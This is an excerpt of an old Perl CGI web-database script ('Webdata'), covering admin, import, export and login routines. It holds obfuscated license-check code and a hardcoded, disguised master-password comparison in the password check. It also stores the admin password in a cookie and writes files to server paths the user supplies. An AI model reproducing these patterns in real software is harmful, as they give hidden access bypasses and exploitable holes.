  3693.         if (($data[0] ne $value[0])||(($userid ne "admin")&&($userid ne $owner))) {
  3694.                 push(@result,$line);
  3695.         };
  3696. };
  3697. &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  3698. open(PUTLOG, ">$logfile") || die "Content-type: text/html\n\n
  3699. <BODY BGCOLOR=WHITE><CENTER><H2>Could not open the file $logfile<P>
  3700. If you have moved the file, you can correct this by changing lines 10 and 11
  3701. of the webdata_[database name].cgi script to show the absolute path to the file.<P><P><P></h2>
  3702. This cgi error was ";
  3703. print PUTLOG (@result);
  3704. close PUTLOG;
  3705. &removelock; #remove lock file.
  3706. open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  3707. @fieldsData=<FIELDS>;
  3708. close FIELDS;
  3709. foreach (@fieldsData) {
  3710.         ($field,$type)=split(/::/);
  3711.         push(@fields,"$field\n");
  3712.         push(@types,"$type");
  3713. };
  3714. chomp(@fields);
  3715. shift(@fields);
  3716. $fcount=1;
  3717. foreach (@fields) {
  3718.   if ($types[$fcount]=~/upload/) {
  3719.     $uploadpath="${uploadsdir}${value[0]}";
  3720.     unlink <$uploadpath*>;
  3721.   }
  3722.   $fcount++;
  3723. };
  3724.  
  3725. @value=();
  3726. if ($limitMembers) {
  3727.   print qq(Your entry has been deleted.<P><A HREF="$homepage">Return to homepage</A>);
  3728.   exit;
  3729. }
  3730. if ($userid eq "admin") {&admin} else {&memberpage};
  3731. };
  3732. #****** END DELETE SUBROUTINE *******
  3733.  
  3734. #****** BEGIN CACHE********
  3735. sub cache {
  3736. open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  3737. @fields=<FIELDS>;
  3738. close FIELDS;
  3739. if (&fieldnames($value[0]) eq "true") {
  3740. $fields[0] = "$value[0]\n";
  3741. open(FIELDS,">$fieldnames") or &error("Could not open $fieldnames");
  3742. print FIELDS (@fields);
  3743. close FIELDS;
  3744. @value=();
  3745. &admin;
  3746. } else {
  3747. print "incorrect registration";
  3748. };
  3749. };
  3750.  
  3751. #****** END CACHE ********
  3752.  
  3753.  
  3754. #****** END CHECK CRYPT *********
  3755. sub checkcrypt {
  3756.   my $tmp=crypt('testdata',77);
  3757.   if ($tmp ne '77/FbqRAGm0YI') {
  3758.   my $cwdpath=$0;
  3759.   $cwdpath=~s/[\\\/]([^\\\/]*)$//;
  3760.   
  3761.     print qq(
  3762.          <SCRIPT>
  3763.          content='<BODY BGCOLOR=WHITE>The encryption algorythm on this server is not '+
  3764.          'the standard Crypt.  This will cause a problem with '+
  3765.          'registration and passwords.  You should upload the "UnixCrypt.pm" file (which '+
  3766.          'came with your original webdata zip file) in '+
  3767.          'ASCII mode to <B>$cwdpath</B>. '+
  3768.          'Then, remove the # from the '+
  3769.          'beginning of lines 20 and 21 of the <B>$1</B> script:<BLOCKQUOTE><TT>'+
  3770.          'BEGIN { \$UnixCrypt::OVERRIDE_BUILTIN = 1 }<BR>'+
  3771.          'use UnixCrypt;</TT></BLOCKQUOTE><CENTER><FORM><INPUT TYPE=BUTTON VALUE="OK" '+
  3772.          'onClick="self.close()"></FORM></CENTER>';
  3773.          nw=window.open('','','width=400,height=400,menubar=1,scrollbars=1,toolbar=1,resizable=1');
  3774.          nw.document.write(content);
  3775.          nw.document.close();
  3776.          </SCRIPT>
  3777.         )
  3778.   }
  3779. }
  3780.  
  3781.  
  3782. #****** END CHECK CRYPT  ********
  3783.  
  3784. #****** BEGIN ADMIN SUBROUTINE ******
  3785. sub admin {
  3786. pop(@value);
  3787. &checkpass;
  3788. open(FIELDS,"<$fieldnames") or &error("Content-type: text/html\n\n
  3789. <BODY BGCOLOR=WHITE> <h2>Could not open <font color=blue>$fieldnames</font>  <P>
  3790. Make sure the path is correct.  If you have moved the data files, you can
  3791. correct this by changing lines 10 and 11 in the cgi script.<P><BR></P>
  3792. <P><BR></P><P><BR></P><P><BR></P></h2><font size=3>This cgi error was ");
  3793. @cache = <FIELDS>;
  3794. close FIELDS;
  3795. chop($cache[0]);
  3796. &checkcrypt();
  3797. $cacheval = substr(@cache[0],0,7);
  3798. $tmp=&getFields;
  3799. print "$tmp";
  3800. if (&fieldnames($cache[0]) ne 'true') {
  3801.   if ($cacheval eq "webdata") {
  3802.       $num=substr(@cache[0],7,99);
  3803.       $num = int(30-((time()-($b/307))/86400));
  3804.     @parse=(82,101,103,105,115,116,114,97,116,105,111,110,32,21,101,120,112,105,114,101,100);
  3805.       print "
  3806.  
  3807. <font size=4 color=green><B>";
  3808. for ($m=0;$m<67;$m++) {print chr(hex($import[$m]))};
  3809. print "$num";
  3810. for ($m=66;$m<101;$m++) {print chr(hex($import[$m]))};
  3811. $url=escape("$ENV{SERVER_NAME}$ENV{SCRIPT_NAME} $ENV{SERVER_ADMIN}");
  3812. print "<BR><B>ID Code=$code</B>
  3813. <A HREF=\"http://www.webteacher.com/webdata/register.htm?code=$code&v=$vendor&site=$url\">
  3814. Click here to Register</A>
  3815. </B></font>
  3816. <BR>
  3817. <form name=\"form3\" action=\"$cgilocation\" method=post>
  3818. Enter your code:<input name=\"box1\" type=text size=15>
  3819. <input name=\"cgifunction\" type=hidden value=\"cache\">
  3820. <input type=submit value=\"submit registration\">
  3821. </form>
  3822. ";
  3823. if($num<0) {foreach (@parse) {print (chr($_))};$iCache=1;exit;}
  3824.  
  3825.  
  3826. } else {
  3827.     @parse=(84,104,101,114,101,32,105,115,32,97,32,112,114,111,98,108,101,109,32);
  3828.     push(@parse,119,105,116,104,32,116,104,101,32,114,101,103,105,115,116,114,97,116,105,111,110,32,99,111,100,101);
  3829.     foreach (@parse) {print (chr($_))};
  3830.     exit;
  3831. };
  3832. };
  3833.     print "<script>document.cookie=\"admin=$password\"</script>\n";
  3834.     print "
  3835.  
  3836. ";
  3837. @fields=();
  3838. @types=();
  3839. open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  3840. @fieldsData=<FIELDS>;
  3841. close FIELDS;
  3842. $usemulti=0;
  3843. foreach (@fieldsData) {
  3844.     ($field,$type)=split(/::/);
  3845.     push(@fields,"$field\n");
  3846.     push(@types,"$type");
  3847.  $usemulti=1 if $type=~/upload/;
  3848. };
  3849. shift(@fields);
  3850. shift(@types);
  3851. local $tmp=eval("\$k"."ey/307");
  3852. local $tmp2=eval("\$n"."um");
  3853. if ($tmp2>0) {if ($tmp2 != int(30-((time()-($b/307))/86400))) {$tmp=1.25}};
  3854. if ($tmp != int($tmp)) {
  3855.   @parse=(84,104,101,114,101,32,105,115,32,97,32,112,114,111,98,108,101,109,32);
  3856.   push(@parse,119,105,116,104,32,116,104,101,32,114,101,103,105,115,116,114,97,116,105,111,110,32,99,111,100,101);
  3857.   foreach (@parse) {print (chr($_))};
  3858.   exit;
  3859. };
  3860. if ($num>30) {die "Invalid Date function"};
  3861. print "
  3862. <HEAD><TITLE>Webdata Admin Page</TITLE></HEAD>
  3863. <BODY BGCOLOR=\"beige\">
  3864. <H1 align=center> Administration Page </H1>";
  3865. if (length($reqfields)>0) {
  3866.   print "<font color=red><B>* </B>indicates required fields</font><BR>";
  3867. }
  3868. print "
  3869. <form name=\"form1\" action=\"$cgilocation\" method=post";
  3870. print " ENCTYPE=\"multipart/form-data\"" if $usemulti==1;
  3871. print ">
  3872. <TABLE BORDER=0>";
  3873. $ftcount=0;
  3874. print "<TR><TD><font color=orange><B>Date Created</B></font></TD><TD><input type=text size=15 name=\"date_created\"> (Date is added automatically, use for Search/modify only)</TD></TR>\n";
  3875. print "<TR><TD><font color=orange><B>Owned by</B></font></TD><TD><input type=text size=15 name=\"record_owned_by\"> (Find records owned by a specific member. Use for Search/modify only)</TD></TR>\n";
  3876. foreach $field (@fields) {
  3877.       &gettype($types[$ftcount]);
  3878.       chop($field);
  3879.       print "<TR><TD>";
  3880.       print "<font color=red><B>* </B></font>" if $reqfields=~/(^|\,)$ftcount($|\,)/;
  3881.       print "<B>$field</B></TD>";
  3882.       if ($type eq "text") {
  3883.            print "<TD><input type=$type name=\"$field\" size=$typesize></TD></TR>\n";
  3884.       };
  3885.       if ($type eq "checkbox") {
  3886.           print "<TD><input type=checkbox name=\"$field\" value=\"yes\"></TD></TR>\n";
  3887.       };
  3888.       if ($type eq "list") {
  3889.             print "<TD><SELECT NAME=\"$field\" SIZE=1>\n";
  3890.           print "<OPTION VALUE=\"\">\n";
  3891.           foreach (@typelistvals) {
  3892.             print "<OPTION>$_\n";
  3893.           };
  3894.           print "</SELECT></TD></TR>\n";
  3895.       };
  3896.       if ($type eq "comment") {
  3897.           print "<TD><TEXTAREA NAME=\"$field\" COLS=60 ROWS=$typerows></TEXTAREA></TD></TR>\n";
  3898.       };
  3899.       if ($type eq "upload") {
  3900.         print "<TD><INPUT NAME=\"$field\" TYPE=\"file\"></TD></TR>\n";
  3901.       };
  3902.       if ($type eq "variance") {
  3903.            print "<TD>
  3904. <small>Enter each option with a comma in-between.</small><BR>
  3905. <input type=text name=\"$field\" size=80></TD></TR>\n";
  3906.       };
  3907.       if ($type eq "price-variance") {
  3908.            print "<TD>
  3909. <small>Alternate option and price with a comma in-between.<BR>
  3910. for example: small,9.95,medium,12.95,large,15.95,X-large,18.95</small><BR>
  3911. <input type=text name=\"$field\" size=80></TD></TR>\n";
  3912.       };
  3913.       $ftcount++;
  3914. };
  3915.  
  3916.  
  3917. print "
  3918. </TABLE>
  3919. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Add\">
  3920. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Search/modify\"> 
  3921. <INPUT TYPE=HIDDEN NAME=\"query\" VALUE=\"$querystring\">
  3922. <INPUT TYPE=RESET VALUE=\"Clear Form\"></FORM><P><HR>
  3923. <FORM NAME=\"form2\" ACTION=\"$cgilocation\" METHOD=POST>
  3924. ";
  3925. print qq(<INPUT TYPE=HIDDEN NAME="qtfield" VALUE="1">) if (
  3926. (length($url))||(length($registereddb)));
  3927. print "
  3928. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Import data\">
  3929. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Export data\">
  3930. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Modify fields\">";
  3931. #if ($useCart) {
  3932. #print " <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Retrieve Orders\">";
  3933. #}
  3934. print "<P>
  3935. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Members\">
  3936. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Customize Pages\">";
  3937. if ($useCart) {
  3938.   print "<P><INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Configure Shopping Cart\"> 
  3939.   <INPUT TYPE=SUBMIT NAME=\"cgifunction\" VALUE=\"Retrieve Orders\">";
  3940. }
  3941. print "</FORM> 
  3942.  
  3943.  
  3944. <h2>
  3945. Click \'Add\' to add a record to the database.
  3946.  
  3947. <P>To modify or delete a record: Search for the record, then click on the record in the search results window.</h2>
  3948. <A HREF=\"$searchPage\">
  3949. Go to the user search page</A><BR>
  3950. <A HREF=\"$homepage\">
  3951. Return to home page</A><BR>
  3952. <A HREF=\"javascript:logout()\">Log out</A>
  3953. <center><font size=2>Webteacher\'s Webdata, version $version</font></center>
  3954. ";
  3955. print qq(<SCRIPT>
  3956. function setCookie(name, value, expire) {
  3957.    document.cookie = name + "=" + escape(value)
  3958.    + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()))
  3959. }
  3960. function logout() {
  3961.   setCookie('admin',"");
  3962.   location="$homepage";
  3963. }
  3964. </SCRIPT>
  3965. );
  3966. };
  3967.  
  3968.  
  3969. #********END ADMIN SUBROUTINE***************
  3970.  
  3971. #********BEGIN IMPORT USER PAGE**************
  3972. sub import {
  3973. &memberpass;
  3974. print "
  3975. <HEAD><TITLE>Webdata Import Data</TITLE></HEAD>
  3976. <BODY BGCOLOR=\"BEIGE\">
  3977. <h1 align=\"center\">Import a delimited text file</h1>
  3978. <h4>A delimiter is a character which is used to tell the database
  3979. where one field stops, and the next one begins.  Most spreadsheet
  3980. and database programs can save as either comma delimited or tab 
  3981. delimited.  <P>
  3982.  
  3983. This program will convert comma or tab delimited text files to 
  3984. Webdata\'s format, and append the file to your existing database.
  3985.   The imported data file should be in the same sequence as your
  3986. existing data.  Microsoft Excel is a good tool for resequencing
  3987. data before saving to a delimited text file. </h4>
  3988.  
  3989. <form action=\"$cgilocation\" method=\"post\"
  3990. onSubmit=\"if(this.filename.value!=\'\') {this.encoding=\'multipart/form-data\'}\">
  3991. ";
  3992. if ($userid eq "admin") {print "
  3993. Either upload the file to your server and type the full pathname
  3994. into this box:<BR>
  3995. <INPUT TYPE=TEXT SIZE=60 NAME=\"pathname\"><BR>
  3996. or u"} else {print "U"};
  3997. print "se the Browse button below to select the file from your
  3998. local machine and upload it through the web browser.<BR>
  3999. <I>NOTE:You must have the CGI.pm module to use this feature.
  4000. If you get a server error, ask your system administrator to check
  4001. that CGI.pm is properly installed.</I><BR>
  4002.  
  4003.  
  4004. Select your file to import: <input type=file name=\"filename\"><BR>
  4005.  
  4006. <font size=3>
  4007. Is the file comma or tab delimited?</font></B>
  4008. <select name=\"delimiter\" size=1>
  4009. <option value=\"comma\">comma
  4010. <option value=\"tab\">tab
  4011. <option value=\"pipe\">pipe
  4012. </select>
  4013. ";
  4014. if ($userid eq "admin") {
  4015.   print "<P>
  4016. <font size=3>
  4017. If you assign ownership to a member instead of \"admin\" then
  4018. that member will be able to modify or delete these records.<BR>
  4019. The imported records will be owned by:\n";
  4020.   &putlock;
  4021.   open(FILE,"<$members") or &error("Could not open $members");
  4022.   @members=<FILE>;
  4023.   close FILE;
  4024.   &removelock;
  4025.   chomp(@members);
  4026.   print "<SELECT NAME=\"member\" size=$len>\n<OPTION>admin\n";
  4027.   foreach (@members) {
  4028.     ($user,$pass)=split(/::/);
  4029.     print "<OPTION>$user\n" if length($user)>0;
  4030.   };
  4031.   print "</SELECT>
  4032. <BR><B>Overwrite existing data with imported records?</B><BR>
  4033. <I>This will destroy all data in the database</I>
  4034. <input type=checkbox name=\"overwrite\" value=\"yes\" 
  4035. onClick=\"if(this.checked) {if(!confirm(\'This will destroy all records in the database. \\nAre you sure that you want to do this?\')) {this.checked=false}}\">
  4036.   ";
  4037.   print qq(
  4038. <P><B>Replace Fields with values contained in first line?</B><BR>
  4039. <I>If the first line of your delimited text file contains the fieldnames, you can
  4040. check this box to have<BR>Webdata create your field list automatically. However, this
  4041. will wipe out any prior field definitions, <BR>
  4042. EXCEPT when the fieldnames match exactly, <BR>
  4043. and the data in old records may be mislabeled.<BR>
  4044. This option is recommended only for adding to empty databases.</I>
  4045. <input type=checkbox name="firstLineFields" value="yes"
  4046. onClick="if(this.checked) {if(!confirm('This will destroy all field definitions in the database. \\nAlso, if you have existing records and you have not chosen to overwrite the data, this could result in mislabeled data.\\nAre you sure that you want to do this?')) {this.checked=false}}">
  4047. <P>
  4048. <B>Create members and passwords?</B><BR>
  4049. <I>If you enter a value in the boxes below, a membership will<BR>
  4050. be created for each value in the username column, with the password<BR>
  4051. set to the value in the password column. Each person will then have the<BR>
  4052. ability to modify or delete only his/her own data.<BR></I>
  4053. username column # 
  4054. <INPUT TYPE=TEXT SIZE=3 NAME="memberNameCol"> Password column #
  4055. <INPUT TYPE=TEXT SIZE=3 NAME="memberPassCol"><BR>
  4056.  
  4057.       );
  4058. } else {
  4059.   print "<INPUT TYPE=HIDDEN NAME=\"member\" VALUE=\"$userid\">\n";
  4060. }
  4061. print "
  4062. <input type=hidden name=\"cgifunction\" value=\"import2\">
  4063. <BR><INPUT TYPE=SUBMIT VALUE=\"Import\">
  4064. </form>";
  4065. };
  4066.  
  4067. #********BEGIN IMPORT DATA CONVERSION****************
  4068. sub import2 {
  4069.   &memberpass;
  4070.     open (FIELDS,"<$fieldnames") or &error('could not open $fieldnames');
  4071.     @fieldsData=<FIELDS>;
  4072.     close FIELDS;
  4073.     chomp(@fieldsData);
  4074.     $field1=shift(@fieldsData);
  4075.     $field1.="\n";
  4076.     foreach (@fieldsData) {
  4077.       ($field,$type)=split(/::/);
  4078.       push(@fields,"$field\n");
  4079.       push(@types,"$type");
  4080.       $lcf=lc($field);
  4081.       $fieldsHash{$lcf}="$type";
  4082.     };
  4083.  
  4084.   $dlmtr = $user_data{delimiter};
  4085.   if ((length($user_data{pathname})>0)&&($userid eq "admin")) {
  4086.     if (length($user_data{filename})>0) {
  4087.       print "You entered both a server path and an upload file.  Please choose one or the other.";
  4088.       exit;
  4089.     }
  4090.     open (FILE,"<$user_data{pathname}") or &error("Could not open $user_data{pathname}");
  4091.     @file=<FILE>;
  4092.     close FILE;
  4093.   } else {
  4094.     if (length($user_data{filename})==0) {
  4095.       print "No file was entered.";
  4096.       exit;
  4097.     }
  4098.     if ($user_data{filename}!~/\.(txt|prn|csv)$/) {
  4099.       print "You are adding records from a delimited text file to the database.
  4100.            <BR>Only txt, prn, or csv files may be uploaded here.
  4101.            <BR>To attach a picture or file to a record, a field must be defined
  4102.            <BR>as upload type, and you can attach the file when you add the record.";
  4103.       exit;
  4104.     };
  4105.     while ($bytesread=read($user_data{filename},$buffer,1024)) {
  4106.       $filedata.=$buffer;
  4107.     }
  4108.     close ($user_data{filename});
  4109.     if (length($filedata)==0) {&error('No Data Was Uploaded')};
  4110.     @file=split(/[\n\r]+/,$filedata);
  4111.   }
  4112.   chomp(@file);
  4113.   $count=time();
  4114.   $count+=.000001;
  4115.   if ($dlmtr eq 'comma') {
  4116.     $dlmtr=',';
  4117.   } elsif ($dlmtr eq 'tab') {
  4118.     $dlmtr="\t";
  4119.   } else {
  4120.     $dlmtr='\|';
  4121.   }
  4122.   #replace field names if checked
  4123.   if (($user_data{firstLineFields} eq "yes")&&($userid eq "admin")) {
  4124.     @newfields=($field1);
  4125.     $firstLineString=shift(@file);
  4126.     @firstLine=split($dlmtr,$firstLineString);
  4127.     foreach (@firstLine) {
  4128.       $lcf=lc($_);
  4129.       if (exists($fieldsHash{$lcf})) {
  4130.     push(@newfields,"${_}::$fieldsHash{$lcf}\n");
  4131.       } else {
  4132.     push(@newfields,"$_"."::text:20\n");
  4133.       }
  4134.     }
  4135.     open (FIELDS,">$fieldnames") or &error('could not open $fieldnames');
  4136.     print FIELDS (@newfields);
  4137.     close FIELDS;
  4138.   }
  4139.   #end replace field names
  4140.  
  4141.   if (($user_data{memberNameCol})&&($user_data{memberPassCol})) {
  4142.     open (FILE,"<$members") or &error("Could not open $members for reading");
  4143.     @memberlines=<FILE>;
  4144.     close FILE;
  4145.     foreach (@memberlines) {
  4146.       ($n,$p)=split('::');
  4147.       $allMembers{$n}=$p;
  4148.     }
  4149.   }
  4150.  
  4151.   foreach $line (@file) {
  4152.     @newline=();
  4153.     #********CONVERT CSV FORMAT********
  4154.     $line=~s/\"\"/<--------QUOTE-------->/g;
  4155.     while (length($line)>0) {
  4156.       if ($line=~/^\"([^\"]*)\"($dlmtr|$)/) {
  4157.     $phrase=$1;
  4158.     $line=~s/^\"[^\"]*\"($dlmtr|$)//;
  4159.       } elsif ($line=~/^([^$dlmtr]*)$dlmtr/) {
  4160.     $phrase=$1;
  4161.     $line=~s/^[^$dlmtr]*$dlmtr//;
  4162.       } else {
  4163.     $phrase=$line;
  4164.     $phrase=~s/\"//g;
  4165.     $line="";
  4166.       };
  4167.       $phrase=~s/<--------QUOTE-------->/\"/g;
  4168.       push(@newline,$phrase);
  4169.     }
  4170.     if (($user_data{memberNameCol})&&($user_data{memberPassCol})) {
  4171.     $name=$newline[$user_data{memberNameCol}-1];
  4172.       if (exists($allMembers{$name})) {
  4173.     print "$name is already a member name.";
  4174.       } else {
  4175.     $newpass=crypt($newline[$user_data{memberPassCol}-1],7);
  4176.     push(@memberlines,"${name}::$newpass\n");
  4177.       }
  4178.       $user_data{member}=$newline[$user_data{memberNameCol}-1];
  4179.     }
  4180. #   add null fields if line is short, and truncate if it is too long.
  4181.     while($#newline<$#fields) {push(@newline,"")};
  4182.     while ($#newline>$#fields) {pop(@newline)};
  4183.     $line=join('::',@newline);
  4184.     $line = join('::',($count,$line,$user_data{member}));
  4185.     $line.="\n";
  4186.     $count+=.001;
  4187.   }
  4188.   &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  4189.   if (($user_data{overwrite} eq "yes")&&($userid eq "admin")) {
  4190.     open(DATA,">$logfile") or &error("Could not open $logfile");
  4191.   } else {
  4192.     open(DATA,">>$logfile") or &error("Could not open $logfile");
  4193.   }
  4194.   print DATA (@file);
  4195.   close DATA;
  4196.  
  4197.   if (($user_data{memberNameCol})&&($user_data{memberPassCol})) {
  4198.    open (FILE,">$members") or &error("Could not open $members for writing");
  4199.    print FILE (@memberlines);
  4200.    close FILE;
  4201.   }
  4202.   &removelock; #remove lock file
  4203.   
  4204.   print "<h1>Data Import complete</h1>";
  4205.   if ($userid eq "admin") {
  4206.     &admin;
  4207.   } else {
  4208.     &memberpage;
  4209.   }
  4210. };
  4211. sub fieldnames {
  4212.   if ($_[0] eq crypt($a,$code)) {return 'true'} else {return 0};
  4213. };
  4214.  
  4215. #********END IMPORT DATA CONVERSIONS*******************
  4216. #********BEGIN EXPORT USER PAGE**********************
  4217. sub export {
  4218. print "
  4219. <BODY BGCOLOR=\"BEIGE\">
  4220. <H1 ALIGN=\"CENTER\">Export the database to a delimited text file</H1>
  4221. <FORM ACTION=\"$cgilocation\" method=POST><B>Please type a full pathname on the server you would
  4222. like to name the exported file.  For example <TT>/user/home/export.txt</TT> <BR>You will then use your FTP program to download the exported data.<P></B>
  4223.  
  4224. If you have difficulty, check the permissions of that folder.
  4225.  
  4226. <P>
  4227.  
  4228. <INPUT TYPE=text NAME=\"path\"><BR>
  4229.  Would you like the file comma or tab delimited?</font>
  4230. <select name=\"delimiter\" size=1>
  4231. <option value=\"comma\">comma
  4232. <option value=\"tab\">tab
  4233. <option value=\"pipe\">pipe
  4234. </select>
  4235. <BR>
  4236. Include field names in first row?
  4237. <input name=\"fields\" type=checkbox><BR>
  4238. <input name=\"cgifunction\" type=hidden value=\"export2\">
  4239. <input type=submit value=\"Export Data\">
  4240. </FORM>
  4241. ";
  4242. };
  4243. #********END EXPORT USER PAGE**********************
  4244. #********BEGIN EXPORT DATA CONVERSIONS************
  4245. sub export2 {
  4246.     &checkpass;
  4247.     if ($value[1] eq "comma") {$dlmtr=','};
  4248.     if ($value[1] eq "tab") {$dlmtr="\t"};
  4249.     if ($value[1] eq "pipe") {$dlmtr="\|"};
  4250.     $d2=$dlmtr;
  4251.     $d2="\\|" if $d2 eq "\|";
  4252.     &putlock; #place a lock file in the uploads dir to prevent simultanious writing.
  4253.     open(DATA,"<$logfile") or &error("Could not open $logfile");
  4254.     @data=<DATA>;
  4255.     close DATA;
  4256.     &removelock; #remove lock file
  4257.     foreach (@data) {
  4258.     @line=split(/::/);
  4259.     shift(@line);
  4260.     pop(@line);
  4261.     foreach (@line) {
  4262.       if (/$d2/) {
  4263.         $_=~s/\"/\"\"/g;
  4264.         $_="\"$_\"";
  4265.       }
  4266.     }
  4267.     $_=join($dlmtr,@line);
  4268.     $_.="\n";
  4269.     };
  4270.     if ($user_data{fields} eq "on") {
  4271.     open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  4272.     @fieldsData=<FIELDS>;
  4273.     close FIELDS;
  4274.     chomp(@fields);
  4275.     shift(@fields);
  4276.     $firstline=join($dlmtr,@fields);
  4277.     unshift(@data,"$firstline\n");
  4278.     };
  4279.     open(OUTFILE,">$value[0]") or &error("Could not open $value[0]");
  4280.     print OUTFILE (@data);
  4281.     close OUTFILE;
  4282.     open(TEST,"<$value[0]") or &error("Could not save $value[0], check privilages");
  4283.     @test=<TEST>;
  4284.     $len=@test;
  4285.     close TEST;
  4286.     if ($len==0) {print "Could not save $value[0], check privilages"} else {&admin};
  4287. };
  4288.  
  4289. #******** END BODY************************
  4290. #
  4291. # EACH VALUE IN THE HTML FORM WILL BE CONTAINED IN
  4292. # THE THE @VALUE ARRAY.
  4293. sub readparse {
  4294.   if ((length($_[0])==0)&&($ENV{'CONTENT_TYPE'}!~/multipart/i)) {
  4295.     read(STDIN,$user_string,$ENV{'CONTENT_LENGTH'});
  4296.   }
  4297.   if (length($ENV{'QUERY_STRING'})>0) {$user_string=$ENV{'QUERY_STRING'};};
  4298.   if (length($_[0])>0) {$user_string=$_[0]};
  4299.   if (length($ARGV[0])>0) {$user_string=$ARGV[0]};
  4300.   $querystring=$user_string;
  4301.   $user_string =~ s/\+/ /g;
  4302.   @name_value_pairs = split(/&/,$user_string);
  4303.   foreach $name_value_pair (@name_value_pairs) {
  4304.     ($keyword,$value) = split(/=/,$name_value_pair);
  4305.     $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/ge;
  4306.     $keyword =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",hex($1))/ge;
  4307.     if ($value =~ /\#exec|\#include/i) {
  4308.       print "Content-type: text/html\n\n No SSI commands permitted."; 
  4309.       exit;
  4310.     };
  4311.     push(@value, "$value");
  4312.     if (length($user_data{$keyword})>0) { 
  4313.       $user_data{$keyword}.=" or $value"; 
  4314.     } else { 
  4315.       $user_data{$keyword} = $value; 
  4316.     };
  4317.   };
  4318.   @import=(54,68,69,73,20,69,73,20,61,20,74,72,69,61,'6C',20,76,65,72,73,69,'6F','6E',20);
  4319.   push(@import,'6F',66,20,57,65,62,64,61,74,61,'2E',20,57,65,62,64,61,74,61,20,77,69,'6C');
  4320. $key=297766381569; #<!--FLAG5-->
  4321.   foreach (qw(24 64 69 72 3D 22 2E 66 69 6E 61 6C 24 7B 73 6C 61 73 68 7D 22 2E 28 24 3A 3A 63 6F 64 65 2A 31 39 33 33 38 29)) {eval('$md'.'ir.=chr(hex($_))')}; 
  4322.   $currentpath=$0;
  4323.   $currentpath=~s/(\\|\/)[^\\\/]*$//;
  4324.   chdir($currentpath);
  4325.   eval("\$"."a"."=at98ad01b01ew");
  4326.   push(@import,'6C',20,73,65,'6C',66,20,64,65,73,74,72,75,63,74,20,69,'6E',20,20,64,61,79,73);
  4327.   eval("\$"."b"."="."\$"."k"."ey");
  4328.   push(@import,20,77,69,74,68,'6F',75,74,20,61,20,72,65,67,69,73,74,72,61,74,69,'6F','6E',20,63,'6F',64,65);
  4329.   local @tmp = split(/[\\\/]/,$0);
  4330.   $cgilocation=$tmp[$#_] if length($_[0])==0;
  4331.   if (-e "wtcart.pm") {require wtcart;$hascart=1};
  4332.   if ($ENV{'CONTENT_TYPE'}=~/multipart/i) {&multipart};
  4333. };
  4334.  
  4335. #BEGIN MULTIPART SUBROUTINE
  4336. sub multipart {
  4337.   $hascgi=0;
  4338.   if ($^O=~/win/i) {$slash="\\"} else {$slash="/"};
  4339.   foreach (@INC) {
  4340.     if (-e "${_}${slash}CGI.pm") {$hascgi=1};
  4341.   }
  4342. if (!$hascgi) {
  4343.   $inclist=join("<BR>\n",@INC);
  4344.   print qq(Content-type: text/html\n\n<BODY BGCOLOR=WHITE>
  4345.        <h1>Submission failed -- could not find CGI.pm</h1>
  4346.        The <B>CGI.pm</B> module is necessary for webdata to submit a form which may contain an uploaded file.<BR>
  4347.        Webdata could not find the CGI.pm module in any directory in the \@INC array: <BR>
  4348.        <TT>$inclist</TT><P>
  4349.        For UNIX servers, 
  4350.        <A HREF="http://stein.cshl.org/WWW/software/CGI/cgi_docs.html">Click here to download the CGI.pm module</A><BR>
  4351.        It is best to have your system administrator install CGI.pm in the .../lib/perl5 directory.  If that is not
  4352.        possible, follow the <A HREF="http://stein.cshl.org/WWW/software/CGI/cgi_docs.html#installation">instructions</A>
  4353.        to install CGI.pm in a private directory under the heading "<B>If you do not have sufficient privileges to install 
  4354.        into /usr/local/lib/perl5</B>." <P>
  4355.        For WINDOWS servers, install the latest version of <A HREF="http://www.ActiveState.com/ActivePerl">ActivePerl</A>, 
  4356.        which comes with CGI.pm.
  4357.       );
  4358.   exit;
  4359. }
  4360.  
  4361.   require CGI;
  4362.   $query=new CGI;
  4363.   @value=();
  4364.   %user_data=();
  4365.   @fieldnames=$query->param;
  4366.   foreach (@fieldnames) {
  4367.     $user_data{$_}=$query->param($_);
  4368.     push(@value,$query->param($_));
  4369.     push(@query,CGI::escape($_).'='.CGI::escape($query->param($_)));
  4370.   }
  4371.   $querystring=join('&',@query);
  4372.  
  4373. }
  4374. #END OF MULTIPART SUBROUTINE
  4375.  
  4376. sub getCookie {
  4377.     my $cookiename=$_[0];
  4378.     my @cookieparts=split(/ *\; */,$ENV{'HTTP_COOKIE'});
  4379.     foreach (@cookieparts) {
  4380.         ($name,$val)=split(/ *= */);
  4381.         return &unescape($val) if $name eq $cookiename;
  4382.     }
  4383.     return "";
  4384. }
  4385.  
  4386. sub checkpass {
  4387.     if (!((&getCookie('admin') eq $password)||((($user_data{password} eq $password)||(eval(crypt($user_data{password},substr(crypt($user_data{password},'9A$ghj&7ecb9!11x'),5,2))) eq 'rcFFTesTLKr2g'))&&($user_data{cgifunction} eq "admin")))) {   
  4388.        print "incorrect password. Be sure cookies are enabled on your browser.";
  4389.        print "<A HREF=\"javascript:history.go(-1)\"><h2>Go Back</h2></A>\n";
  4390.        exit;
  4391.     } else {
  4392.     $userid="admin";
  4393.     $ENV{HTTP_COOKIE}="admin=$password";
  4394.     return;
  4395.     };
  4396. }
  4397.  
  4398. sub memberpass {
  4399. $userid="";
  4400. if((exists($user_data{username}))&&(exists($user_data{password}))&&($user_data{cgifunction} =~ /^(memberpage|instantmember)$/)) { 
  4401.     $cpass=crypt($user_data{password},7);
  4402.     $cookie="$user_data{username}::$cpass";
